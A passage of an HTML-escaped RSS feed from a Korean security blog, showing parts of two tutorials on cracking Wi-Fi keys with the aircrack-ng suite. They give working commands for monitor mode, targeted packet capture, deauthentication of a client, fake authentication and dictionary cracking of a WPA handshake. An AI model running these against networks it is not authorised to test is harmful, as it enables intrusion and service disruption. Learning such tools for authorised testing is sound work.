style=&quot;margin-left: 6em;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: Set destination MAC address.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;aireplay-ng -0 10 -a 64:e5:99:0f:38:e2 -c f4:f1:5a:e8:f6:4c mon0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2722984A57CAEE8B0B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2722984A57CAEE8B0B&quot; width=&quot;800&quot; height=&quot;485&quot; filename=&quot;005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x0&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; line-height: 22px;&quot;&gt;&lt;b&gt;5. aircrack-ng&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;A 802.11 WEP / WPA-PSK Key Cracker.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;aircrack-ng [options] &amp;lt;.cap / .ivs file(s)&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;aircrack-ng -w Dict.txt WPA-Key-01.cap&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 674px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/267CA74A57CAEEE232&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F267CA74A57CAEEE232&quot; width=&quot;674&quot; height=&quot;466&quot; filename=&quot;006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/274</guid>
      <comments>https://do9dark.tistory.com/274#entry274comment</comments>
      <pubDate>Sun, 4 Sep 2016 01:30:47 +0900</pubDate>
    </item>
    <item>
      <title>Wireless Hacking - WEP Key Crack</title>
      <link>https://do9dark.tistory.com/273</link>
      <description>&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x00.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;환경구성&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;OS : BackTrack 5 R3 (32-bit)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;Kernel : Linux bt 3.2.6&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x01.&amp;nbsp;iwconfig&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 10pt; line-height: 20px; color: rgb(0, 0, 0); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;Configure a wireless network interface.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;iwconfig&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt; is similar to ifconfig, but is dedicated to the wireless interfaces.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; iwconfig&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 672px; line-height: 1.5; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/24217E3657CA88A210&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F24217E3657CA88A210&quot; width=&quot;672&quot; height=&quot;221&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;line-height: 1.5; text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x02.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; line-height: 22px;&quot;&gt;&lt;b&gt;airmon-ng&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;b&gt;airmon-ng&lt;/b&gt; is script can be used to enable monitor mode on wireless interfaces.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 10pt; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;airmon-ng &amp;lt;start|stop&amp;gt; &amp;lt;interface&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; airmon-ng start wlan0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 737px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2518453357CA89540D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2518453357CA89540D&quot; width=&quot;737&quot; height=&quot;685&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x03.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 11pt; line-height: 20px;&quot;&gt;airodump-ng&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;A wireless packet capture tool for &lt;b&gt;aircrack-ng&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;airodump-ng [options] &amp;lt;interface&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; airodump-ng mon0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 737px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/267A373E57CA8A891C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F267A373E57CA8A891C&quot; width=&quot;737&quot; height=&quot;684&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;To capture a specific wireless.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;[Options]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;-c &amp;lt;channel&amp;gt;[,&amp;lt;channel&amp;gt;[, ...]]&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;--channel &amp;lt;channel&amp;gt;[,&amp;lt;channel&amp;gt;[, ...]]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;: Indicate the channel(s) to listen to.&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;By default airodump-ng hop on 2.4GHz channels.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;-w &amp;lt;prefix&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;--wirte &amp;lt;prefix&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;: Is the dump file prefix to use.&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;If this option is not given,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;it will only show data on the screen.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;Beside this file a CSV file with&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;the same filename as the capture will be created.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;[Filter options]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;-d &amp;lt;bssid&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;--bssid &amp;lt;bssid&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;: It will only show networks, matching the given bssid.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&amp;nbsp;airodump-ng -c 9 -d 64:e5:99:0f:38:e2 -w &amp;nbsp;WEP-Key mon0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 736px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2720A14657CA8B6C14&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2720A14657CA8B6C14&quot; width=&quot;736&quot; height=&quot;685&quot; filename=&quot;004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x04.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; line-height: 20px;&quot;&gt;&lt;b&gt;aireplay-ng&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;Inject packets into a wireless network to generate traffic.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;The fake authentication attack.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;aireplay-ng &amp;lt;options&amp;gt; &amp;lt;replay interface&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;[Attack modes]&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;-1 &amp;lt;delay&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;--fakeauth=&amp;lt;delay&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: The fake authentication attack allows you&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;to perform the two types of WEP authentication&lt;/span&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;(Open System and Shared Key) plus associate&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;with the access point (AP).&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;[Replay options]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;-e &amp;lt;essid&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: Fake Authentication attack&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: Set target SSID.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;-a &amp;lt;bssid&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 